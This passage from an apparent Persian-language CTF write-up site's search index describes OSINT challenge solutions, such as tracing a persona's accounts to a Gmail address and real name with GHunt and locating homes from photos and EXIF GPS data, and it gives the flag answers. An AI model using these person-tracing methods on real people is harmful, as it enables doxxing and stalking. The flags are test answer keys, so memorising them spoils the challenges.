\u0622\u0634\u06a9\u0627\u0631 \u0648 \u0631\u0627\u06cc\u06af\u0627\u0646 \u062f\u0631 \u0641\u0636\u0627\u06cc \u0648\u0628 \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0647\u0645\u06af\u0627\u0646 \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u062f \u06a9\u0647 \u0628\u0627 \u0627\u0646\u062f\u06a9\u06cc \u06a9\u0646\u06a9\u0627\u0634 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0628\u0647 \u0622\u0646\u200c\u0647\u0627 \u062f\u0633\u062a \u06cc\u0627\u0641\u062a.

\u0627\u06cc\u0646 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u062b\u0644 \u0646\u0627\u0645 \u0641\u0631\u062f \u0648 \u0634\u063a\u0644 \u0622\u0646 \u0628\u062e\u0648\u062f\u06cc \u062e\u0648\u062f \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u062d\u0631\u0645\u0627\u0646\u0647\u200c\u0627\u06cc \u0646\u06cc\u0633\u062a\u0646\u062f\u060c \u0627\u0645\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0647 \u0646\u062a\u06cc\u062c\u0647\u200c\u06af\u06cc\u0631\u06cc \u0648 \u0628\u0647 \u06a9\u0627\u0631 \u0628\u0631\u062f\u0646 \u0622\u0646\u200c\u0647\u0627 \u0628\u0631\u0627\u06cc \u06cc\u06a9 \u0647\u062f\u0641 \u062e\u0627\u0635 \u06a9\u0645\u06a9 \u06a9\u0646\u0646\u062f. \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0645\u062b\u0627\u0644\u060c \u0627\u0632 \u0631\u0648\u06cc \u0639\u06a9\u0633\u200c\u0647\u0627\u06cc \u067e\u0631\u0648\u0641\u0627\u06cc\u0644 \u0627\u06cc\u0646\u0633\u062a\u0627\u06af\u0631\u0627\u0645 \u06cc\u06a9 \u0634\u062e\u0635 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0646\u062a\u06cc\u062c\u0647 \u06af\u0631\u0641\u062a \u06a9\u0647 \u0627\u0648 \u0628\u0647 \u06af\u0631\u062f\u0634 \u062f\u0631 \u0637\u0628\u06cc\u0639\u062a \u0639\u0644\u0627\u0642\u0647 \u062f\u0627\u0631\u062f\u060c \u067e\u0633 \u0645\u06cc \u062a\u0648\u0627\u0646 \u06cc\u06a9 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0628\u0647 \u0634\u06a9\u0644 \u06cc\u06a9 \u0639\u06a9\u0633 \u0627\u0632 \u0637\u0628\u06cc\u0639\u062a\u060c \u0634\u062e\u0635 \u0631\u0627 \u0648\u0627\u062f\u0627\u0631 \u0628\u0647 \u0627\u062c\u0631\u0627\u06cc \u0622\u0646 \u06a9\u0631\u062f. \u0628\u0627 \u062c\u0645\u0639\u200c\u0622\u0648\u0631\u06cc \u0648 \u0627\u0633\u062a\u062f\u0644\u0627\u0644 \u0631\u0648\u06cc \u0627\u06cc\u0646 \u0627\u0637\u0644\u0627\u0639\u0627\u062a\u060c \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062d\u0645\u0644\u0647\u200c\u0647\u0627\u06cc \u0633\u0627\u06cc\u0628\u0631\u06cc \u0647\u062f\u0641\u0645\u0646\u062f\u062a\u0631\u06cc \u0631\u0627 \u0631\u0648\u06cc \u06cc\u06a9 \u0634\u062e\u0635 \u06cc\u0627 \u0633\u0627\u0632\u0645\u0627\u0646 \u067e\u06cc\u0627\u062f\u0647 \u06a9\u0646\u062f.

","tags":["Osint","\u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0646\u0628\u0639\u200c\u0628\u0627\u0632"]},{"location":"osint/#osint-ctf","title":"Osint \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF:","text":"

osint \u06cc\u06a9 \u062f\u0633\u062a\u0647\u200c \u0627\u0632 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u062f\u0631 CTF \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0686\u0646\u062f \u0633\u0627\u0644 \u0627\u062e\u06cc\u0631 \u0628\u062e\u0627\u0637\u0631 \u06af\u0633\u062a\u0631\u0634 \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u0648\u0628 \u0648 \u06a9\u0645\u06a9 \u0622\u0646 \u0628\u0647 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc (Recon) \u0647\u062f\u0641 \u0628\u0647 \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0627\u0636\u0627\u0641\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a. \u062f\u0631 \u0627\u06cc\u0646 \u0646\u0648\u0639 \u0627\u0632 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0641\u0631\u062f \u0628\u0627\u06cc\u062f \u0645\u0627\u0646\u0646\u062f \u06cc\u06a9 \u06a9\u0627\u0631\u0627\u06af\u0627\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u062e\u062a\u0644\u0641 \u062f\u0631 \u0631\u0627\u0628\u0637\u0647 \u0628\u0627 \u06cc\u06a9 \u0645\u0648\u0636\u0648\u0639 \u0631\u0627 \u06a9\u0646\u0627\u0631 \u0647\u0645 \u0628\u0686\u06cc\u0646\u062f \u0648 \u0633\u0631\u0646\u062e\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0631\u0627 \u062f\u0646\u0628\u0627\u0644 \u06a9\u0646\u062f \u062a\u0627 \u0628\u0647 \u0647\u062f\u0641 \u0686\u0627\u0644\u0634 \u06cc\u0639\u0646\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u0641\u0644\u06af \u0628\u0631\u0633\u062f. \u062f\u0631 \u0627\u06cc\u0646 \u0631\u0627\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0645\u0627\u0646\u0646\u062f \u0645\u0648\u062a\u0648\u0631\u200c\u0647\u0627\u06cc \u062c\u0633\u062a\u062c\u0648\u060c \u0634\u0628\u06a9\u0647\u200c\u0647\u0627\u06cc \u0627\u062c\u062a\u0645\u0627\u0639\u06cc\u060c \u0648\u0628\u0633\u0627\u06cc\u062a\u200c\u0647\u0627 \u0648 \u0634\u0648\u0627\u0647\u062f \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u062a\u0635\u0627\u0648\u06cc\u0631 \u0628\u0647\u0631\u0647 \u0628\u0628\u0631\u062f \u062a\u0627 \u0641\u0644\u06af \u0631\u0627 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u062f.

","tags":["Osint","\u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0646\u0628\u0639\u200c\u0628\u0627\u0632"]},{"location":"osint/Tools/","title":"\u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u0645\u0641\u06cc\u062f \u0628\u0631\u0627\u06cc \u062d\u0644 \u0686\u0627\u0644\u0634 \u0647\u0627","text":"

\u0633\u0627\u06cc\u062a \u0647\u0627\u06cc \u0622\u0631\u0634\u06cc\u0648 :

archive.ph

archive.org

"},{"location":"osint/writeups/0xL4ughCTF/cheater/","title":"\u0686\u0627\u0644\u0634 Cheater","text":"

1- \u0627\u0633\u0645 Hamdia Eldhkawy \u062f\u0631 \u06af\u0648\u06af\u0644 \u062c\u0633\u062a\u062c\u0648 \u06a9\u0631\u062f\u0645 \u06a9\u0647 \u0628\u0639\u062f \u062a\u0639\u062f\u0627\u062f\u06cc \u0635\u0641\u062d\u0647 \u0627\u06cc\u0646\u0633\u062a\u0627\u06af\u0631\u0627\u0645\u060c \u0628\u0647 \u0627\u06cc\u0646 \u0622\u062f\u0631\u0633 \u0631\u0633\u06cc\u062f\u0645.

2- \u0627\u0633\u0645 \u0627\u06a9\u0627\u0646\u062a hamdia_elhob_kolo \u062f\u0631 \u0645\u0648\u062a\u0648\u0631 \u062c\u0633\u062a\u062c\u0648 DuckDuckgo \u062c\u0633\u062a\u062c\u0648 \u06a9\u0631\u062f\u0645 \u0628\u0647 \u06cc\u06a9 \u0641\u0631\u0648\u0645 OpenAI \u0645\u06cc \u0631\u0633\u06cc\u0645 \u06a9\u0647 \u0639\u06a9\u0633 \u0632\u06cc\u0631 \u0622\u0646\u062c\u0627 \u0628\u0648\u062f.

3- \u062f\u0631 \u0645\u062a\u0646 \u06a9\u0646\u0627\u0631 \u0627\u06cc\u0646 \u0639\u06a9\u0633 \u06cc\u06a9 \u0628\u0647 \u0646\u0638\u0631 \u06cc\u06a9 \u0627\u06a9\u0627\u0646\u062a spider@ \u0647\u0633\u062a \u06a9\u0647 \u0627\u0648\u0646 \u0631\u0648 \u0632\u06cc\u0627\u062f \u062c\u0633\u062a\u062c\u0648 \u06a9\u0631\u062f\u0645 \u06a9\u0647 \u0646\u062a\u06cc\u062c\u0647 \u0646\u062f\u0627\u0634\u062a. \u0628\u0639\u062f\u060c \u0622\u062f\u0631\u0633 url \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u0639\u06a9\u0633 \u062c\u0633\u062a\u062c\u0648 \u06a9\u0631\u062f\u0645 \u06a9\u0647 \u0641\u0647\u0645\u06cc\u062f\u0645 \u0627\u06cc\u0646 \u0639\u06a9\u0633 \u0627\u06cc\u0646\u0633\u062a\u0627\u06af\u0631\u0627\u0645 \u062d\u0630\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a. \u062a\u0648\u06cc \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc \u0622\u0631\u0634\u06cc\u0648 \u062f\u0646\u0628\u0627\u0644 url \u06af\u0634\u062a\u0645 \u06a9\u0647 \u062f\u0631 \u0633\u0627\u06cc\u062a archive.ph \u0632\u06cc\u0631 \u0627\u06cc\u0646 \u0635\u0641\u062d\u0647 \u062b\u0628\u062a \u0634\u062f\u0647 \u0628\u0648\u062f. \u067e\u0633 \u062a\u06a9\u0645\u06cc\u0644 \u0634\u062f\u0647 \u0627\u06a9\u0627\u0646\u062a spidersh4zly@ \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u06cc\u0645.

4- \u0627\u0633\u0645 \u0627\u06a9\u0627\u0646\u062a spidersh4zly@ \u062c\u0633\u062a\u062c\u0648\u06a9\u0631\u062f\u0645 \u06a9\u0647 \u0628\u0647 \u0645\u0627\u0631\u0648 \u0628\u0647 \u0635\u0641\u062d\u0647 \u0627\u06cc\u0646\u0633\u062a\u0627 \u0632\u06cc\u0631 \u0645\u06cc \u0628\u0631\u0647.

5- \u0622\u062f\u0631\u0633 url \u062f\u0627\u062e\u0644 \u0627\u06cc\u0646 \u0635\u0641\u062d\u0647 \u0631\u0648 \u06a9\u0647 \u0628\u0632\u0646\u06cc\u0645 \u0628\u0647 \u0635\u0641\u062d\u0647 \u0632\u06cc\u0631 \u0645\u06cc\u0631\u06cc\u0645 \u06a9\u0647 \u0627\u06a9\u0627\u0646\u062a \u0647\u0627\u06cc \u062a\u0648\u06cc\u06cc\u062a\u0631\u060c \u0641\u06cc\u0633 \u0628\u0648\u06a9 \u0648 \u06cc\u06a9 \u0622\u062f\u0631\u0633 \u062c\u06cc\u200c\u0645\u06cc\u0644 (spidersh4zly4love@gmail.com) \u062f\u0631 \u0627\u0648\u0646\u062c\u0627 \u0647\u0633\u062a.

6- \u062d\u0627\u0644\u0627 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631 Ghunt \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0627\u06cc\u0646 \u0627\u06cc\u0645\u06cc\u0644 \u0631\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u06cc\u0645 \u06a9\u0647 \u0627\u0633\u0645 \u0648 \u0641\u0627\u0645\u06cc\u0644 \u0635\u0627\u062d\u0628 \u0627\u06cc\u0646 \u0627\u06cc\u0645\u06cc\u0644 \u0647\u0645 \u0628\u062f\u0633\u062a \u0622\u0645\u062f.

FLAG

0xL4ugh{Abdelfatah_ElCanaway}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["0xL4ughCTF","0xL4ughCTF-2024","Osint","instagram","archive.ph","gmail","Ghunt"]},{"location":"osint/writeups/wctf/WOLPHV-I/WOLPHV-I-Reconnaissance/","title":"\u0686\u0627\u0644\u0634 WOLPHV-I: Reconnaissance","text":"

\u062a\u0648\u06cc \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0628\u0627 \u0627\u06cc\u0646\u06a9\u0647 \u06af\u0641\u062a\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u0628\u0631\u0627\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u0641\u0644\u06af \u0646\u0628\u0627\u06cc\u062f \u062f\u0646\u0628\u0627\u0644 \u0622\u0646 \u062f\u0631 \u0627\u06a9\u0627\u0646\u062a \u0647\u0627\u06cc \u062a\u0648\u06cc\u06cc\u062a\u0631 \u062e\u0648\u062f \u06af\u0631\u0648\u0647 Wolphv \u0628\u0627\u0634\u06cc\u0645 \u0648\u0644\u06cc \u0628\u0627 \u06cc\u06a9 \u062c\u0633\u062a\u062c\u0648 \u062a\u0648\u06cc \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u062f\u0631 \u0645\u0648\u0631\u062f \u0627\u06cc\u0646 \u0628\u0627\u062c\u200c\u0627\u0641\u0632\u0627\u0631 \u0628\u0647 \u06cc\u06a9 \u062a\u0648\u06cc\u06cc\u062a \u0628\u0631 \u0645\u06cc\u062e\u0648\u0631\u06cc\u0645 \u06a9\u0647 \u062f\u0631 \u0645\u0648\u0631\u062f \u0627\u06cc\u0646 \u0628\u0627\u062c \u0627\u0641\u0632\u0627\u0631 \u062a\u0648\u06cc\u06cc\u062a\u06cc \u0632\u062f\u0647.

\u0628\u0639\u062f \u0627\u0632 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u0648 \u0628\u0631\u0631\u0633\u06cc \u0642\u0633\u0645\u062a \u0646\u0638\u0631\u0627\u062a \u060c \u067e\u0627\u06cc\u06cc\u0646 \u062a\u0631\u06cc\u0646 \u06a9\u0627\u0645\u0646\u062a \u06cc\u06a9 \u06a9\u062f base64 \u0647\u0633\u062a \u06a9\u0647 \u0627\u062d\u062a\u0645\u0627\u0644\u0627 \u0628\u0627\u06cc\u062f \u0641\u0644\u06af \u0628\u0627\u0634\u0647. \u0628\u0639\u062f \u062f\u06cc\u06a9\u062f \u06a9\u0631\u062f\u0646 \u0622\u0646 \u0641\u0644\u06af \u0628\u062f\u0633\u062a \u0645\u06cc\u0627\u062f.

\u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0633\u0627\u062f\u0647\u200c\u0627\u06cc \u0628\u0648\u062f \u0627\u0645\u0627 \u0646\u06a9\u062a\u0647 \u06af\u0645\u0631\u0627\u0647 \u06a9\u0646\u0646\u062f\u0647 \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u062f\u0631 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0627\u0644\u0634 \u06af\u0641\u062a\u0647 \u0628\u0648\u062f \u06a9\u0647 \u0646\u0628\u0627\u06cc\u062f \u0628\u0647 \u062a\u0648\u06cc\u06cc\u062a\u0631 \u062a\u0648\u062c\u0647 \u06a9\u0631\u062f.

FLAG

wctf{0k_1_d0nT_th1Nk_A1_w1ll_r3Pl4c3_Us_f0R_4_l0ng_t1me}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["wCTF","wCTF-2024","Osint","twitter comments"]},{"location":"osint/writeups/wctf/WOLPHV-III/WOLPHV-III-p1nesh4dow48/","title":"\u0686\u0627\u0644\u0634 WOLPHV-III: p1nesh4dow48","text":"

\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u062a\u0648\u0646\u0633\u062a\u06cc\u0645 \u0628\u0647 \u0633\u0631\u0648\u0631 \u062f\u06cc\u0633\u06a9\u0648\u0631\u062f \u06af\u0631\u0648\u0647 \u062f\u0631 \u0686\u0627\u0644\u0634 \u0642\u0628\u0644\u06cc \u0648\u0627\u0631\u062f \u0628\u0634\u06cc\u0645 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0645\u062e\u062a\u0635\u0627\u062a \u0622\u062f\u0631\u0633 \u0622\u067e\u0627\u0631\u062a\u0645\u0627\u0646 \u0627\u06a9\u0627\u0646\u062a p1nesh4dow48 \u0627\u0632 \u0645\u0627 \u0645\u06cc\u062e\u0648\u0627\u062f \u06a9\u0647 \u062f\u0627\u062e\u0644 \u0633\u0631\u0648\u0631 \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u0647\u0645\u06cc\u0646 \u0634\u062e\u0635 \u0639\u06a9\u0633 \u0622\u067e\u0627\u0631\u062a\u0645\u0627\u0646\u0634 \u0631\u0648 \u06af\u0630\u0627\u0634\u062a\u0647 \u0627\u0633\u062a.

\u062e\u0628 \u0628\u0631\u0627\u06cc \u062d\u0644 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0627\u0648\u0644\u06cc\u0646 \u0686\u06cc\u0632\u06cc \u06a9\u0647 \u0628\u0647 \u0630\u0647\u0646\u0645 \u0631\u0633\u06cc\u062f \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u062f\u0627\u062e\u0644 google image \u062f\u0646\u0628\u0627\u0644 \u0627\u06cc\u0646 \u0639\u06a9\u0633 \u0628\u06af\u0631\u062f\u0645 \u06a9\u0647 \u0628\u0627 \u062d\u0627\u0644\u062a \u0647\u0627 \u0648 \u062a\u06a9\u0647 \u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0639\u06a9\u0633 \u0628\u0627 google lenz \u062c\u0633\u062c\u0648 \u06a9\u0631\u062f\u0645 \u0648\u0644\u06cc \u0641\u0627\u06cc\u062f\u0647\u200c\u0627\u06cc \u0646\u062f\u0627\u0634\u062a \u0648 \u0622\u067e\u0627\u0631\u062a\u0645\u0627\u0646 \u0647\u0627 \u0647\u06cc\u0686\u06a9\u062f\u0648\u0645 \u0627\u06cc\u0646 \u0627\u067e\u0627\u0631\u062a\u0645\u0627\u0646 \u0646\u0628\u0648\u062f.

\u0628\u0627 \u062f\u0642\u062a \u0628\u0647 \u0639\u06a9\u0633 \u06cc\u06a9 \u062a\u0627\u0628\u0644\u0648 \u0633\u0645\u062a \u0686\u067e \u0639\u06a9\u0633 \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0646\u0648\u0634\u062a\u0647 \u0634\u062f\u0647Pine Ridge visitor parking only \u06a9\u0647 \u0630\u0647\u0646\u0645 \u0628\u0631\u062f \u0628\u0647 \u0633\u0645\u062a \u0627\u06cc\u0646\u06a9\u0647 \u0645\u0645\u06a9\u0646\u0647 \u0627\u062d\u062a\u0645\u0627\u0644\u0627 Pine ridge\u06cc\u06a9 \u0645\u06a9\u0627\u0646 \u062f\u06cc\u062f\u0646\u06cc \u0628\u0627\u06cc\u062f \u0628\u0627\u0634\u0647 \u06a9\u0647 \u0645\u0631\u062f\u0645 \u0628\u0631\u0627\u06cc \u0628\u0627\u0632\u062f\u06cc\u062f \u0628\u0647 \u0627\u0648\u0646\u062c\u0627 \u0645\u06cc\u0627\u0646 \u0648 \u0627\u06cc\u0646 \u0622\u067e\u0627\u0631\u062a\u0645\u0627\u0646 \u0646\u0632\u062f\u06cc\u06a9 \u0627\u0648\u0646\u0647. \u067e\u0633 \u062a\u0648\u06cc \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0686\u0646\u062f \u0633\u0627\u0639\u062a \u062f\u0646\u0628\u0627\u0644 \u0627\u06cc\u0646 \u0645\u06a9\u0627\u0646 \u062f\u06cc\u062f\u0646\u06cc \u06af\u0634\u062a\u0645 \u0648\u0644\u06cc \u0641\u0627\u06cc\u062f\u0647 \u0646\u062f\u0627\u0634\u062a. \u0628\u0639\u062f \u0627\u0632 \u0645\u062f\u062a\u06cc\u060c \u062f\u0627\u062e\u0644 google Map \u06a9\u0644\u0645\u0627\u062a \u06a9\u0644\u06cc\u062f\u06cc Pine Ridge apartments michigan \u0686\u0648\u0646 \u062d\u062f\u0633 \u0632\u062f\u0645 \u0627\u0633\u0645 \u0622\u067e\u0627\u0631\u062a\u0645\u0627\u0646 \u0634\u0627\u06cc\u062f \u0627\u06cc\u0646 \u0628\u0627\u0634\u0647 \u0648 \u0686\u0648\u0646 \u062f\u0631 \u0631\u0627\u0628\u0637\u0647 \u062f\u0627\u0646\u0634\u06af\u0627\u0647 \u0645\u06cc\u0634\u06af\u0627\u0646 \u0628\u0648\u062f\u0646 \u0627\u06cc\u0646 \u0627\u0641\u0631\u0627\u062f \u06a9\u0647 \u0646\u0642\u0627\u0637 \u0639\u06a9\u0633 \u0632\u06cc\u0631 \u0628\u0647 \u0645\u0627 \u0646\u0634\u0648\u0646 \u062f\u0627\u062f \u06cc\u06a9\u06cc \u0627\u0632 \u0627\u0648\u0646\u200c\u0647\u0627 \u0634\u0628\u0627\u0647\u062a \u0628\u0647 \u0647\u0645\u06cc\u0646 \u0622\u067e\u0627\u0631\u062a\u0645\u0627\u0646 \u0645\u0648\u0631\u062f\u0646\u0638\u0631 \u062f\u0627\u0634\u062a \u0628\u0639\u062f \u06a9\u0647 \u0648\u0627\u0631\u062f street view \u0634\u062f\u0645 \u062f\u06cc\u062f\u0645 \u06a9\u0647 \u0628\u0644\u0647 \u062e\u0648\u062f\u0634\u0647 .

\u067e\u0633 \u062c\u0633\u062a\u062c\u0648\u06cc \u06a9\u0644\u0645\u0647 \u06a9\u0644\u06cc\u062f\u06cc \u0645\u0646\u0627\u0633\u0628 \u062e\u06cc\u0644\u06cc \u0645\u0647\u0645\u0647

FLAG

wctf{46.546,-87.388}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["wctf","wctf-2024","Osint","image coordinates","google map"]},{"location":"osint/writeups/wctf/WOLPHV-IV/WOLPHV-IV-d4wgbyte262/","title":"\u0686\u0627\u0644\u0634 WOLPHV-IV: d4wgbyte262","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0647\u0645 \u0628\u0627\u06cc\u062f \u0645\u062b\u0644 \u0642\u0628\u0644\u06cc \u0645\u062d\u0644 \u0633\u06a9\u0648\u0646\u062a \u06cc\u06a9\u06cc \u062f\u06cc\u06af\u0647 \u0627\u0632 \u0627\u0639\u0636\u0627\u06cc \u06af\u0631\u0648\u0647 \u062f\u06cc\u0633\u06a9\u0648\u0631\u062f \u06cc\u0639\u0646\u06cc d4wgbyte262 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645. \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0635\u062d\u0628\u062a \u0647\u0627\u06cc \u06a9\u0647 \u062a\u0648\u06cc \u06af\u0631\u0648\u0647 \u062f\u0627\u0634\u062a\u0646 \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0647 \u06a9\u0647 \u0627\u06cc \u0634\u062e\u0635 \u0633\u06af \u062f\u0627\u0631\u0647\u0648 \u062f\u0631 \u0645\u0648\u0631\u062f \u06cc\u06a9 \u0686\u06cc\u0632\u06cc \u0628\u0647 \u0627\u0633\u0645 flick \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.

\u0628\u0627 \u0627\u06cc\u0646 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0627\u0648\u0644\u06cc\u0646 \u06a9\u0627\u0631\u06cc \u06a9\u0647 \u06a9\u0631\u062f\u0645 \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u0628\u0628\u06cc\u0646\u0645 \u0622\u06cc\u0627 \u0627\u06a9\u0627\u0646\u062a \u062f\u06cc\u06af\u0647\u200c\u0627\u06cc \u0628\u0627 \u0627\u06cc\u0646 \u0627\u0633\u0645 \u062f\u0627\u062e\u0644 \u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc \u0627\u062c\u062a\u0645\u0627\u0639\u06cc \u062f\u06cc\u06af\u0647 \u0647\u0633\u062a \u06cc\u0627 \u0646\u0647. \u067e\u0633 \u062f\u0631 \u0633\u0627\u06cc\u062a discoverprofile \u0627\u06a9\u0627\u0646\u062a \u0627\u06cc\u0646 \u0634\u062e\u0635 \u062c\u0633\u062a\u062c\u0648 \u06a9\u0631\u062f\u0645 \u06a9\u0647 \u0646\u062a\u06cc\u062c\u0647 \u0628\u062f\u0631\u062f \u0628\u062e\u0648\u0631\u06cc \u0646\u062f\u0627\u0634\u062a. \u0628\u0639\u062f \u062a\u0648\u06cc \u0645\u0648\u062a\u0648\u0631 DuckDuckgo \u0647\u0645 \u06af\u0634\u062a\u0645 \u06a9\u0647 \u06cc\u06a9 \u0633\u0627\u06cc\u062a \u0628\u0647 \u0627\u0633\u0645 flickr \u0646\u0638\u0631\u0645 \u062c\u0644\u0628 \u06a9\u0631\u062f \u0648 \u0628\u0639\u062f \u06a9\u0647 \u062f\u0627\u062e\u0644\u0634 \u0631\u0641\u062a\u0645 \u0639\u06a9\u0633\u200c\u0647\u0627\u06cc \u0632\u06cc\u0627\u062f \u0627\u0632 \u06cc\u06a9 \u0633\u06af \u0628\u0647 \u0627\u0634\u062a\u0631\u0627\u06a9 \u06af\u0630\u0627\u0634\u062a\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f. \u067e\u0633 \u0641\u0647\u0645\u06cc\u062f\u0645 \u06a9\u0647 \u062a\u0627 \u0627\u06cc\u0646 \u062c\u0627 \u062f\u0631\u0633\u062a\u0647 \u0648 \u0627\u06cc\u0646 \u0627\u06a9\u0627\u0646\u062a \u06cc\u06a9 \u0631\u0628\u0637\u06cc \u0628\u0647 \u062f\u0627\u0633\u062a\u0627\u0646 \u062f\u0627\u0631\u0647.

\u0639\u06a9\u0633 \u0647\u0627 \u0631\u0648 \u0628\u0631\u0631\u0633\u06cc \u06a9\u0631\u062f\u06cc\u0645 \u06a9\u0647 \u0634\u0627\u06cc\u062f \u0646\u0634\u0627\u0646\u0647\u200c\u0627\u06cc \u0627\u0632 \u062e\u0627\u0646\u0647 \u0627\u06cc\u0646 \u0634\u062e\u0635 \u0628\u0627\u0634\u0647 \u0648\u0644\u06cc \u0686\u06cc\u0632\u06cc \u062f\u0633\u062a\u06af\u06cc\u0631\u0645 \u0646\u0634\u062f. \u0628\u0639\u062f \u0686\u0646\u062a\u0627 \u0627\u0632 \u0639\u06a9\u0633\u200c\u0647\u0627 \u0631\u0648 \u062f\u0627\u0646\u0644\u0648\u062f \u06a9\u0631\u062f\u0645 \u0648 \u0628\u0627 \u0627\u0628\u0632\u0627\u0631 exiftool \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u062f\u0627\u062e\u0644 \u0639\u06a9\u0633 \u0646\u06af\u0627\u0647 \u06a9\u0631\u062f\u0645 \u06a9\u0647 \u062f\u06cc\u062f\u0645 \u06cc\u06a9 \u0645\u0648\u0642\u0639\u06cc\u062a \u062c\u063a\u0631\u0627\u0641\u06cc\u0627\u06cc\u06cc \u062f\u0627\u062e\u0644 \u0647\u0631 \u0639\u06a9\u0633 \u0647\u0633\u062a.

\u0648\u0644\u06cc \u0645\u062a\u0627\u0633\u0641\u0627\u0646\u0647 \u0647\u0631 \u0639\u06a9\u0633 \u06cc\u06a9 \u0645\u0648\u0642\u0639\u06cc\u062a \u062c\u063a\u0631\u0627\u0641\u06cc\u0627\u06cc\u06cc \u0645\u062a\u0641\u0627\u0648\u062a \u0627\u0632 \u0646\u0642\u0637\u0647\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0634\u0647\u0631 \u062f\u0627\u0634\u062a \u0648 \u0646\u0645\u06cc\u0634\u062f \u0645\u0648\u0642\u0639\u06cc\u062a \u062f\u0642\u06cc\u0642 \u062e\u0627\u0646\u0647 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f. \u06cc\u06a9 \u0645\u062f\u062a\u06cc \u062f\u0631\u06af\u06cc\u0631 \u0647\u0645\u06cc\u0646 \u0628\u0648\u062f\u0645 \u06a9\u0647 \u062f\u0648\u0628\u0627\u0631\u0647 \u062f\u06cc\u0633\u06a9\u0648\u0631\u062f \u0646\u06af\u0627\u0647 \u06a9\u0631\u062f\u0645 \u0648 \u0627\u0632 \u0635\u062d\u0628\u062a \u0647\u0627\u0634\u0648\u0646 \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u0645 \u06a9\u0647 \u062e\u0627\u0646\u0647\u200c\u0627\u0634 \u0646\u0632\u062f\u06cc\u06a9\u200c\u062a\u0631\u06cc\u0646 \u0645\u0648\u0642\u0639\u06cc\u062a \u0628\u0647 \u06cc\u06a9 \u0627\u06cc\u0633\u062a\u06af\u0627\u0647 \u0622\u062a\u0634\u200c\u0646\u0634\u0627\u0646\u06cc \u0628\u0627\u06cc\u062f \u0628\u0627\u0634\u0647.

